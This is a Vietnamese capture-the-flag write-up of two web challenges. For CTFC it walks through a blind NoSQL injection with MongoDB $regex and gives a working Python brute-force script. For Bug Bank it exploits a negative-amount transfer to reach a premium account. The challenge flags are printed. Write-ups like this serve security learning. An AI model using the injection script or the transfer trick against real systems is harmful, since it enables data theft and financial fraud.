# Web challenges ## 1. CTFC ![image](https://hackmd.io/_uploads/BJvDnsLEp.png) ![image-1](https://hackmd.io/_uploads/HkpwnsUN6.png) Register và Login vô xem sao ![image-2](https://hackmd.io/_uploads/ryWOhsU4p.png) Chỉ có mỗi 2 chall và solved cũng không được gì Vô nghía source thử <br> Để ý có đoạn ``` def createChalls(): db.challs.insert_one({"_id": "28c8edde3d61a0411511d3b1866f0636","challenge_name": "Crack It","category": "hash","challenge_description": "My friend sent me this random string `cc4d73605e19217bf2269a08d22d8ae2` can you identify what it is? , flag format: CTFC{<password>}","challenge_flag": "CTFC{cryptocat}","points": "500","released": "True"}) db.challs.insert_one({"_id": "665f644e43731ff9db3d341da5c827e1","challenge_name": "MeoW sixty IV","category": "crypto","challenge_description": "hello everyoneeeeeeeee Q1RGQ3tuMHdfZzBfNF90aDNfcjM0TF9mbDRHfQ==, oops sorry my cat ran into my keyboard, and typed these random characters","challenge_flag": "CTFC{n0w_g0_4_th3_r34L_fl4G}","points": "1000","released": "True"}) db.challs.insert_one({"_id": "38026ed22fc1a91d92b5d2ef93540f20","challenge_name": "ImPAWSIBLE","category": "web","challenge_description": "well, this challenge is not fully created yet, but we have the flag for it","challenge_flag": os.environ['CHALL_FLAG'],"points": "1500","released": "False"}) ``` Và ``` @app.route('/') @check_login def dashboard(): challs = [] for data in db.challs.find(): del data['challenge_flag'] challs.append(data) chall_1 = challs[0] chall_2 = challs[1] return render_template('t_dashboard.html',username=session['user']['username'],chall_1=chall_1,chall_2=chall_2) ``` Có 3 chall nhưng chỉ show ra 2?? Và mình có thử thì biết rằng đầu vào là một json ``` { "_id":"_id:1", "challenge_flag":"CTFC{cryptocat}" } ``` <br> Ở đây server dùng MongoDB, đến đây mình ngờ ngợ phải chăng là 1 bài `nosql injection`?? Phải thử mới biết được <br> ![image-3](https://hackmd.io/_uploads/rJJjhs8ET.png) Một số toán tử truy vấn so sánh các bạn có thể tham khảo ở đây [link](https://www.mongodb.com/docs/manual/reference/operator/query/) Mình có thử 1 toán tử truy vấn so sánh = là `$eq`, đại khái là dùng để so sánh bằng (so sánh chính xác) giữa một trường và một giá trị cụ thể ![image-4](https://hackmd.io/_uploads/By733o84a.png) ![image-5](https://hackmd.io/_uploads/BkI22jLNa.png) Bên trên là trước và sau khi dùng toán tử so sánh Vậy là 100% dính `blind nosql injection` <br> Việc tiếp theo là dump flag của thằng chall3 Ở đây mình thay `$eq` thành `$regex` Nôm na là sẽ so sánh flag với biểu thức chính quy của mình ![image-6](https://hackmd.io/_uploads/H1QTnjLE6.png) Giờ chỉ cần viết script nữa là xong <br> Đến đây mình mất khá nhiều thời gian do mình chỉ test trước với 2 thằng chall1 và chall2 và tưởng format của flag là `CTFC{...}` Và thằng bạn mình đi ngủ mất tiêu nên chả hỏi được format 😑 Loay hoay một hồi thì cũng viết xong script ``` #!/usr/bin/env python import requests import string chars = string.ascii_letters + '_{}0123456789' url = 'https://ctfc.ctf.intigriti.io/' cookie = { "session": "eyJ1c2VyIjp7Il9pZCI6IjJiNWY0ZjI5MGE4NTQ4Mzk4ZmEyNDUwY2EwY2RlN2QzIiwidXNlcm5hbWUiOiJhYmMxMjMifX0.ZVeXSQ.Tf0yIJNzUdO7HXNsIp36vpyKcTw" } headers = { 'content-type': 'application/json' } flag = "INTIGRITI{" while True: for char in chars: print("trying: " + char) json_data = { "_id": "_id:3", "challenge_flag": { "$regex": f"^{flag}{char}" } } r = requests.post(url + 'submit_flag', headers = headers, cookies=cookie, json=json_data) if 'correct flag' in r.text: flag += char print(flag) break if '}' in flag: break ``` ![image-7](https://hackmd.io/_uploads/Hy5T2iLNa.png) Flag: ~~**`INTIGRITI{h0w_1s_7h4t_PAWSIBLE}`**~~ <br> ## 2. Bug Bank ![image](https://hackmd.io/_uploads/BysX6iLNp.png) ![image-1](https://hackmd.io/_uploads/r1gVTo8Na.png) Cũng không có gì đặc biệt lắm Register và Login vào xem thử <br> ![image-2](https://hackmd.io/_uploads/ry9IasL4T.png) ![image-3](https://hackmd.io/_uploads/SJ3Uaj84a.png) Khả năng cao là cần `10000 bugs` để upgrade premium account và lấy flag <br> Mình có tạo thêm 1 account nữa để thuận tiện cho việc transfer bugs Mỗi account ban đầu có `0 bugs` <br> ![image-6](https://hackmd.io/_uploads/BkqOaiLEp.png) ![image-5](https://hackmd.io/_uploads/S1VK6i84T.png) <br> Đến đây mình thử truyền vào số âm xem thử có được không ![image-7](https://hackmd.io/_uploads/HJG96iUV6.png) ![image-8](https://hackmd.io/_uploads/H149ajUNa.png) Ú là la, triển thôi 🤣 <br> Transfer `-9999 bugs` và được ![image-9](https://hackmd.io/_uploads/ryDopoLEp.png) Nâng lên premium thôi ![image-10](https://hackmd.io/_uploads/rJoipoUNT.png) Flag: ~~**`INTIGRITI{h3y_wh0_541d_y0u_c0uld_cl0bb3r_7h3_d0m}`**~~